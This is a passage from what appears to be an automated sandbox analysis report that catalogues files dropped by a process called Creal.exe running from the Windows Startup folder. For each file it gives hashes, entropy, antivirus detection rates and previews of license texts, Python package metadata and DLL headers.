Preview:	. Apache License. Version 2.0, January 2004. https://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that control, are controlled by, or are under common. control with that entity. For the purposes of this definition,. "control" means (i) the power, direct or indirect, to cause the. direction or management of such entity, whether by contract or. otherwise, or (ii) ownership of fifty percent (50%) or more of the. outstanding shares, or (iii) beneficial ow

C:\Users\user\AppData\Local\Temp\_MEI42362\cryptography-43.0.3.dist-info\license_files\LICENSE.BSD

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1532
Entropy (8bit):	5.058591167088024
Encrypted:	false
SSDEEP:	24:MjUnoorbOFFTJJyRrYFTjzMbmqEvBTP4m96432s4EOkUTKQROJ32s3yxsITf+3tY:MkOFJSrYJsaN5P406432svv32s3EsIqm
MD5:	5AE30BA4123BC4F2FA49AA0B0DCE887B
SHA1:	EA5B412C09F3B29BA1D81A61B878C5C16FFE69D8
SHA-256:	602C4C7482DE6479DD2E9793CDA275E5E63D773DACD1ECA689232AB7008FB4FB
SHA-512:	DDBB20C80ADBC8F4118C10D3E116A5CD6536F72077C5916D87258E155BE561B89EB45C6341A1E856EC308B49A4CB4DBA1408EABD6A781FBE18D6C71C32B72C41
Malicious:	false
Preview:	Copyright (c) Individual contributors..All rights reserved...Redistribution and use in source and binary forms, with or without.modification, are permitted provided that the following conditions are met:.. 1. Redistributions of source code must retain the above copyright notice,. this list of conditions and the following disclaimer... 2. Redistributions in binary form must reproduce the above copyright. notice, this list of conditions and the following disclaimer in the. documentation and/or other materials provided with the distribution... 3. Neither the name of PyCA Cryptography nor the names of its contributors. may be used to endorse or promote products derived from this software. without specific prior written permission...THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND.ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED.WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOS

C:\Users\user\AppData\Local\Temp\_MEI42362\cryptography\hazmat\bindings\_rust.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7834624
Entropy (8bit):	6.517862303223651
Encrypted:	false
SSDEEP:	49152:oFNZj7fIo9W67PapgzJTkrXyzNzpXAbuiqCgIns3mYEXEqMrIU6i7GtlqdVwASO/:QI9X/gIFYEXME+oFNr5VQCJheq4BsxH
MD5:	BFD28B03A4C32A9BCB001451FD002F67
SHA1:	DD528FD5F4775E16B2E743D3188B66F1174807B2
SHA-256:	8EF0F404A8BFF12FD6621D8F4F209499613F565777FE1C2A680E8A18F312D5A7
SHA-512:	6DC39638435F147B399826E34F78571D7ED2ED1232275E213A2B020224C0645E379F74A0CA5DE86930D3348981C8BB03BBBECFA601F8BA781417E7114662DDEE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......r.b.6...6...6...?..$...&9..4...&9..2...&9..>...&9..'...}...8...Y<..5...6...2...~8..I...6.......~8..7...~8..7...Rich6...........PE..d......g.........." ...)..Y..$........W.......................................w...........`..........................................q.....l.q.............. s...............w......zi.T....................{i.(...Pyi.@.............Y..............................text...k.Y.......Y................. ..`.rdata...A....Y..B....Y.............@..@.data...@+....q.......q.............@....pdata....... s.......r.............@..@.reloc........w.......v.............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI42362\libcrypto-3.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5232408
Entropy (8bit):	5.940072183736028
Encrypted:	false
SSDEEP:	98304:/V+Qs2NuR5YV0L8PQ1CPwDvt3uFlDC4SC9c:9rs2NuDYV0L841CPwDvt3uFlDC4SCa
MD5:	123AD0908C76CCBA4789C084F7A6B8D0
SHA1:	86DE58289C8200ED8C1FC51D5F00E38E32C1AAD5
SHA-256:	4E5D5D20D6D31E72AB341C81E97B89E514326C4C861B48638243BDF0918CFA43
SHA-512:	80FAE0533BA9A2F5FA7806E86F0DB8B6AAB32620DDE33B70A3596938B529F3822856DE75BDDB1B06721F8556EC139D784BC0BB9C8DA0D391DF2C20A80D33CB04
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........._~.._~.._~..V.S.M~.....]~.....[~.....W~.....S~.._~...~......T~..J....~..J...7}..J...^~..J.?.^~..J...^~..Rich_~..........................PE..d......f.........." ...(..7..<......v........................................0P.......O...`...........................................H.0.....O.@....@O.\|.... L. .....O../...PO.$...`{D.8............................yD.@.............O..............................text.....7.......7................. ..`.rdata........7.......7.............@..@.data...Ao....K..<....K.............@....pdata....... L.......K.............@..@.idata...%....O..&....N.............@..@.00cfg..u....0O.......N.............@..@.rsrc...\|....@O.......N.............@..@.reloc..~....PO.......N.............@..B................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI42362\libffi-8.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39696
Entropy (8bit):	6.641880464695502
Encrypted:	false
SSDEEP:	768:NiQfxQemQJNrPN+moyijAc5YiSyvkIPxWEqG:dfxIQvPkmoyijP7SytPxF
MD5:	0F8E4992CA92BAAF54CC0B43AACCCE21
SHA1:	C7300975DF267B1D6ADCBAC0AC93FD7B1AB49BD2
SHA-256:	EFF52743773EB550FCC6CE3EFC37C85724502233B6B002A35496D828BD7B280A
SHA-512:	6E1B223462DC124279BFCA74FD2C66FE18B368FFBCA540C84E82E0F5BCBEA0E10CC243975574FA95ACE437B9D8B03A446ED5EE0C9B1B094147CEFAF704DFE978
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........iV...8...8...8..p....8.t9...8.p9...8...9...8.t=...8.t<...8.t;...8.1t<...8.1t;...8.1t8...8.1t:...8.Rich..8.........................PE..d...Sh.c.........." ...".H...(.......L...............................................n....`......................................... l.......p..P...............P....l.../......,...@d...............................c..@............`.. ............................text....G.......H.................. ..`.rdata..h....`.......L..............@..@.data................b..............@....pdata..P............d..............@..@.reloc..,............j..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI42362\libssl-3.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	792856
Entropy (8bit):	5.57949182561317
Encrypted:	false
SSDEEP:	12288:7LN1sdyIzHHZp5c3nlUa6lxzAG11rbmFe9Xbv:7LgfzH5I3nlUa2AU2Fe9Xbv
MD5:	4FF168AAA6A1D68E7957175C8513F3A2
SHA1:	782F886709FEBC8C7CEBCEC4D92C66C4D5DBCF57
SHA-256:	2E4D35B681A172D3298CAF7DC670451BE7A8BA27C26446EFC67470742497A950
SHA-512:	C372B759B8C7817F2CBB78ECCC5A42FA80BDD8D549965BD925A97C3EEBDCE0335FBFEC3995430064DEAD0F4DB68EBB0134EB686A0BE195630C49F84B468113E3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l.>..\|m..\|m..\|m.u.m..\|m+.}l..\|m.u}l..\|m+..l..\|m+.xl..\|m+.yl..\|m..}l..\|m..}m..\|m..xl..\|m..\|l..\|m...m..\|m..~l..\|mRich..\|m................PE..d......f.........." ...(.>..........K........................................0......!+....`..........................................x...Q..............s.... ...M......./......d...p...8...............................@............................................text....<.......>.................. ..`.rdata..hz...P...\|...B..............@..@.data...qN.......H..................@....pdata..pV... ...X..................@..@.idata...c.......d...^..............@..@.00cfg..u...........................@..@.rsrc...s...........................@..@.reloc..C...........................@..B........................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI42362\pyexpat.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	201488
Entropy (8bit):	6.375994899027017
Encrypted:	false
SSDEEP:	6144:cAPHiRwroqoLHMpCSNVysh9CV2i6P/1vTg:6wrExSU6PdvTg
MD5:	CF2C3D127F11CB2C026E151956745564
SHA1:	B1C8C432FC737D6F455D8F642A4F79AD95A97BD3
SHA-256:	D3E81017B4A82AE1B85E8CD6B9B7EB04D8817E29E5BC9ECE549AC24C8BB2FF23
SHA-512:	FE3A9C8122FFFF4AF7A51DF39D40DF18E9DB3BC4AED6B161A4BE40A586AC93C1901ACDF64CC5BFFF6975D22073558FC7A37399D016296432057B8150848F636E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1..P.P.P.(t..P...P...P...P...P....P..(.P.P..P....P....P......P....P.Rich.P.........................PE..d.....g.........." ...)..................................................... ............`............................................P... ............................/..........`4..T........................... 3..@............ ...............................text............................... ..`.rdata....... ......................@..@.data.... ..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI42362\python3.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	70416
Entropy (8bit):	6.1258200129869405
Encrypted:	false
SSDEEP:	768:pQEotsskOv6pWVCB4p/uKlZPRQcFIc9qunV0Jku/YFI1Hu1wEBbCpVNyD6VdPxiD:/otssyKcunV8PjZIJy0i7SyWH1
MD5:	16855EBEF31C5B1EBE767F1C617645B3
SHA1:	315521F3A748ABFA35CD4D48E8DD09D0556D989B
SHA-256:	A5C6A329698490A035133433928D04368CE6285BB91A9D074FC285DE4C9A32A4
SHA-512:	C3957B3BD36B10C7AD6EA1FF3BC7BD65CDCEB3E6B4195A25D0649AA0DA179276CE170DA903D77B50A38FC3D5147A45BE32DBCFDBFBF76CC46301199C529ADEA4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%?..a^e.a^e.a^e.).m.`^e.).e.`^e.)..`^e.).g.`^e.Richa^e.........PE..d......g.........." ...)............................................................z.....`.........................................`..................................../..............T............................................................................rdata..............................@..@.rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI42362\python313.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6083856
Entropy (8bit):	6.126922729922386
Encrypted:	false
SSDEEP:	49152:fXGc3O7T4DKX+vLFMmKYxiAYNBD987KdJlI9HbeX2jrgQcw6Zc4h67mM+XDQ3bLi:Of42zJiwJl/YF7v3vaHDMiEN3Kr
MD5:	B9DE917B925DD246B709BB4233777EFD
SHA1:	775F258D8B530C6EA9F0DD3D1D0B61C1948C25D2
SHA-256:	0C0A66505093B6A4BB3475F716BD3D9552095776F6A124709C13B3F9552C7D99
SHA-512:	F4BF3398F50FDD3AB7E3F02C1F940B4C8B5650ED7AF16C626CCD1B934053BA73A35F96DA03B349C1EB614BB23E0BC6B5CC58B07B7553A5C93C6D23124F324A33
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........s]{v ]{v ]{v M.w!_{v M.. S{v M.u!Y{v M.r!U{v M.s!P{v T.. G{v ..w!V{v ]{w .zv ..{!.{v ..v!\{v ... \{v ..t!\{v Rich]{v ........................PE..d......g.........." ...).:+..T9......J........................................d.....uF]...`...........................................O.....h.P.......d......0].......\../....d..... A3.T.....................I.(....?3.@............P+..............................text....8+......:+................. ..`.rdata....%..P+...%..>+.............@..@.data...$9....P..N....P.............@....pdata.......0]...... U.............@..@PyRuntim.N...._..P....W.............@....rsrc.........d.......[.............@..@.reloc........d.......[.............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI42362\select.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	30992
Entropy (8bit):	6.554484610649281
Encrypted:	false
SSDEEP:	384:7hhxm9tKLhuoNHfzzlvFy0ZZIJ9GckHQIYiSy1pCQ4HWSJIVE8E9VF0Ny6sC:tCytHf98uZIJ9Gx5YiSyvy2ES
MD5:	20831703486869B470006941B4D996F2
SHA1:	28851DFD43706542CD3EF1B88B5E2749562DFEE0
SHA-256:	78E5994C29D8851F28B5B12D59D742D876683AEA58ECEEA1FB895B2036CDCDEB
SHA-512:	4AAF5D66D2B73F939B9A91E7EDDFEB2CE2476C625586EF227B312230414C064AA850B02A4028363AA4664408C9510594754530A6D026A0A84BE0168D677C1BC4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........tV..'V..'V..'_.j'T..'F:.&T..'F:.&R..'F:.&^..'F:.&Z..'.;.&T..'V..'...'...&S..'.;.&W..'.;.&W..'.;.'W..'.;.&W..'RichV..'................PE..d.....g.........." ...).....2............................................................`..........................................@..L...<A..x....p.......`.......J.../......L....3..T............................2..@............0...............................text............................... ..`.rdata.......0......................@..@.data...p....P.......8..............@....pdata.......`.......:..............@..@.rsrc........p.......>..............@..@.reloc..L............H..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI42362\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\INSTALLER

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI42362\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\LICENSE

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	11358
Entropy (8bit):	4.4267168336581415
Encrypted:	false
SSDEEP:	192:nU6G5KXSD9VYUKhu1JVF9hFGvV/QiGkS594drFjuHYx5dvTrLh3kTSEn7HbHR:U9vlKM1zJlFvmNz5VrlkTS07Ht
MD5:	3B83EF96387F14655FC854DDC3C6BD57
SHA1:	2B8B815229AA8A61E483FB4BA0588B8B6C491890
SHA-256:	CFC7749B96F63BD31C3C42B5C471BF756814053E847C10F3EB003417BC523D30
SHA-512:	98F6B79B778F7B0A15415BD750C3A8A097D650511CB4EC8115188E115C47053FE700F578895C097051C9BC3DFB6197C2B13A15DE203273E1A3218884F86E90E8
Malicious:	false
Preview:	. Apache License. Version 2.0, January 2004. http://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that control, are controlled by, or are under common. control with that entity. For the purposes of this definition,. "control" means (i) the power, direct or indirect, to cause the. direction or management of such entity, whether by contract or. otherwise, or (ii) ownership of fifty percent (50%) or more of the. outstanding shares, or (iii) beneficial own

C:\Users\user\AppData\Local\Temp\_MEI42362\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\METADATA

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4648
Entropy (8bit):	5.006900644756252
Encrypted:	false
SSDEEP:	96:Dx2ZSaCSmS8R902Vpnu386eLQ9Ac+fFZpDN00x2jZ2SBXZJSwTE:9Smzf02Vpnu386mQ9B+TP0vJHJSwTE
MD5:	98ABEAACC0E0E4FC385DFF67B607071A
SHA1:	E8C830D8B0942300C7C87B3B8FD15EA1396E07BD
SHA-256:	6A7B90EFFEE1E09D5B484CDF7232016A43E2D9CC9543BCBB8E494B1EC05E1F59
SHA-512:	F1D59046FFA5B0083A5259CEB03219CCDB8CC6AAC6247250CBD83E70F080784391FCC303F7630E1AD40E5CCF5041A57CB9B68ADEFEC1EBC6C31FCF7FFC65E9B7
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: importlib_metadata.Version: 8.0.0.Summary: Read metadata from Python packages.Author-email: "Jason R. Coombs" <jaraco@jaraco.com>.Project-URL: Source, https://github.com/python/importlib_metadata.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: Apache Software License.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3 :: Only.Requires-Python: >=3.8.Description-Content-Type: text/x-rst.License-File: LICENSE.Requires-Dist: zipp >=0.5.Requires-Dist: typing-extensions >=3.6.4 ; python_version < "3.8".Provides-Extra: doc.Requires-Dist: sphinx >=3.5 ; extra == 'doc'.Requires-Dist: jaraco.packaging >=9.3 ; extra == 'doc'.Requires-Dist: rst.linker >=1.9 ; extra == 'doc'.Requires-Dist: furo ; extra == 'doc'.Requires-Dist: sphinx-lint ; extra == 'doc'.Requires-Dist: jaraco.tidelift >=1.4 ; extra == 'doc'.Provides-Extra: perf.Requires-D

C:\Users\user\AppData\Local\Temp\_MEI42362\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\RECORD

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	2518
Entropy (8bit):	5.6307766747793275
Encrypted:	false
SSDEEP:	48:UnuXTg06U5J/Vw9l/gfNX7/XzBk9pvJq/fwJOfYrBfnJ/V0XJnzN/3WJV:bXzP/EgdzzBkDJsoIYrBfJ/CXNz9qV
MD5:	EB513CAFA5226DDA7D54AFDCC9AD8A74
SHA1:	B394C7AEC158350BAF676AE3197BEF4D7158B31C
SHA-256:	0D8D3C6EEB9EBBE86CAC7D60861552433C329DA9EA51248B61D02BE2E5E64030
SHA-512:	A0017CFAFF47FDA6067E3C31775FACEE4728C3220C2D4BD70DEF328BD20AA71A343E39DA15CD6B406F62311894C518DFCF5C8A4AE6F853946F26A4B4E767924E
Malicious:	false
Preview:	importlib_metadata-8.0.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..importlib_metadata-8.0.0.dist-info/LICENSE,sha256=z8d0m5b2O9McPEK1xHG_dWgUBT6EfBDz6wA0F7xSPTA,11358..importlib_metadata-8.0.0.dist-info/METADATA,sha256=anuQ7_7h4J1bSEzfcjIBakPi2cyVQ7y7jklLHsBeH1k,4648..importlib_metadata-8.0.0.dist-info/RECORD,,..importlib_metadata-8.0.0.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..importlib_metadata-8.0.0.dist-info/WHEEL,sha256=mguMlWGMX-VHnMpKOjjQidIo1ssRlCFu4a4mBpz1s2M,91..importlib_metadata-8.0.0.dist-info/top_level.txt,sha256=CO3fD9yylANiXkrMo4qHLV_mqXL2sC5JFKgt1yWAT-A,19..importlib_metadata/__init__.py,sha256=tZNB-23h8Bixi9uCrQqj9Yf0aeC--Josdy3IZRIQeB0,33798..importlib_metadata/__pycache__/__init__.cpython-312.pyc,,..importlib_metadata/__pycache__/_adapters.cpython-312.pyc,,..importlib_metadata/__pycache__/_collections.cpython-312.pyc,,..importlib_metadata/__pycache__/_compat.cpython-312.pyc,,..importlib_metadata/__pycac

C:\Users\user\AppData\Local\Temp\_MEI42362\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\WHEEL

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	91
Entropy (8bit):	4.687870576189661
Encrypted:	false
SSDEEP:	3:RtEeXMRYFAVLMvhRRP+tPCCfA5S:RtC1VLMvhjWBBf
MD5:	7D09837492494019EA51F4E97823D79F
SHA1:	7829B4324BB542799494131A270EC3BDAD4DEDEF
SHA-256:	9A0B8C95618C5FE5479CCA4A3A38D089D228D6CB1194216EE1AE26069CF5B363
SHA-512:	A0063220ECDD22C3E735ACFF6DE559ACF3AC4C37B81D37633975A22A28B026F1935CD1957C0FF7D2ECC8B7F83F250310795EECC5273B893FFAB115098F7B9C38
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: setuptools (70.1.1).Root-Is-Purelib: true.Tag: py3-none-any..

C:\Users\user\AppData\Local\Temp\_MEI42362\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\top_level.txt

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.536886723742169
Encrypted:	false
SSDEEP:	3:JSej0EBERG:50o4G
MD5:	A24465F7850BA59507BF86D89165525C
SHA1:	4E61F9264DE74783B5924249BCFE1B06F178B9AD
SHA-256:	08EDDF0FDCB29403625E4ACCA38A872D5FE6A972F6B02E4914A82DD725804FE0
SHA-512:	ECF1F6B777970F5257BDDD353305447083008CEBD8E5A27C3D1DA9C7BDC3F9BF3ABD6881265906D6D5E11992653185C04A522F4DB5655FF75EEDB766F93D5D48
Malicious:	false
Preview:	importlib_metadata.

C:\Users\user\AppData\Local\Temp\_MEI42362\setuptools\_vendor\jaraco\text\Lorem ipsum.txt

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe
File Type:	ASCII text, with very long lines (888)
Category:	dropped
Size (bytes):	1335
Entropy (8bit):	4.226823573023539
Encrypted:	false
SSDEEP:	24:FP6Hbz+g9RPZ14bJi04L6GEbX4UQF4UkZQhxI2EIhNyu:9E+i6bJmLm43+Uxxnh0u
MD5:	4CE7501F6608F6CE4011D627979E1AE4
SHA1:	78363672264D9CD3F72D5C1D3665E1657B1A5071
SHA-256:	37FEDCFFBF73C4EB9F058F47677CB33203A436FF9390E4D38A8E01C9DAD28E0B
SHA-512:	A4CDF92725E1D740758DA4DD28DF5D1131F70CEF46946B173FE6956CC0341F019D7C4FECC3C9605F354E1308858721DADA825B4C19F59C5AD1CE01AB84C46B24
Malicious:	false
Preview:	Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum..Curabitur pretium tincidunt lacus. Nulla gravida orci a odio. Nullam varius, turpis et commodo pharetra, est eros bibendum elit, nec luctus magna felis sollicitudin mauris. Integer in mauris eu nibh euismod gravida. Duis ac tellus et risus vulputate vehicula. Donec lobortis risus a elit. Etiam tempor. Ut ullamcorper, ligula eu tempor congue, eros est euismod turpis, id tincidunt sapien risus a quam. Maecenas fermentum consequat mi. Donec fermentum. Pellentesque malesuada nulla a mi. Duis sapien sem, aliquet nec, commodo eget, consequat quis, neque.

C:\Users\user\AppData\Local\Temp\_MEI42362\setuptools\_vendor\wheel-0.43.0.dist-info\INSTALLER

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI42362\setuptools\_vendor\wheel-0.43.0.dist-info\LICENSE.txt

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1107
Entropy (8bit):	5.115074330424529
Encrypted:	false
SSDEEP:	24:PWmrRONJHLH0cPP3gtkHw1h39QHOsUv4eOk4/+jvho3nPz:ttONJbbvE/NQHOs5eNS3n7
MD5:	7FFB0DB04527CFE380E4F2726BD05EBF
SHA1:	5B39C45A91A556E5F1599604F1799E4027FA0E60
SHA-256:	30C23618679108F3E8EA1D2A658C7CA417BDFC891C98EF1A89FA4FF0C9828654
SHA-512:	205F284F3A7E8E696C70ED7B856EE98C1671C68893F0952EEC40915A383BC452B99899BDC401F9FE161A1BF9B6E2CEA3BCD90615EEE9173301657A2CE4BAFE14
Malicious:	false
Preview:	MIT License..Copyright (c) 2012 Daniel Holth <dholth@fastmail.fm> and contributors..Permission is hereby granted, free of charge, to any person obtaining a.copy of this software and associated documentation files (the "Software"),.to deal in the Software without restriction, including without limitation.the rights to use, copy, modify, merge, publish, distribute, sublicense,.and/or sell copies of the Software, and to permit persons to whom the.Software is furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included.in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL.THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR.OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERW

C:\Users\user\AppData\Local\Temp\_MEI42362\setuptools\_vendor\wheel-0.43.0.dist-info\METADATA

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	2153
Entropy (8bit):	5.088249746074878
Encrypted:	false
SSDEEP:	48:DEhpFu5MktjaywDK48d+md+7uT8RfkD1UKd+mOl1Awry:DEhpiMktjayq/7kOfsUzmbYy
MD5:	EBEA27DA14E3F453119DC72D84343E8C
SHA1:	7CEB6DBE498B69ABF4087637C6F500742FF7E2B4
SHA-256:	59BAC22B00A59D3E5608A56B8CF8EFC43831A36B72792EE4389C9CD4669C7841
SHA-512:	A41593939B9325D40CB67FD3F41CD1C9E9978F162487FB469094C41440B5F48016B9A66BE2E6E4A0406D6EEDB25CE4F5A860BA1E3DC924B81F63CEEE3AE31117
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: wheel.Version: 0.43.0.Summary: A built-package format for Python.Keywords: wheel,packaging.Author-email: Daniel Holth <dholth@fastmail.fm>.Maintainer-email: Alex Gr.nholm <alex.gronholm@nextday.fi>.Requires-Python: >=3.8.Description-Content-Type: text/x-rst.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: Topic :: System :: Archiving :: Packaging.Classifier: License :: OSI Approved :: MIT License.Classifier: Programming Language :: Python.Classifier: Programming Language :: Python :: 3 :: Only.Classifier: Programming Language :: Python :: 3.8.Classifier: Programming Language :: Python :: 3.9.Classifier: Programming Language :: Python :: 3.10.Classifier: Programming Language :: Python :: 3.11.Classifier: Programming Language :: Python :: 3.12.Requires-Dist: pytest >= 6.0.0 ; extra == "test".Requires-Dist: setuptools >= 65 ; extra == "test".Project-URL: Changelog, https://wheel.readthedocs.io/en/s

C:\Users\user\AppData\Local\Temp\_MEI42362\setuptools\_vendor\wheel-0.43.0.dist-info\RECORD

Download File

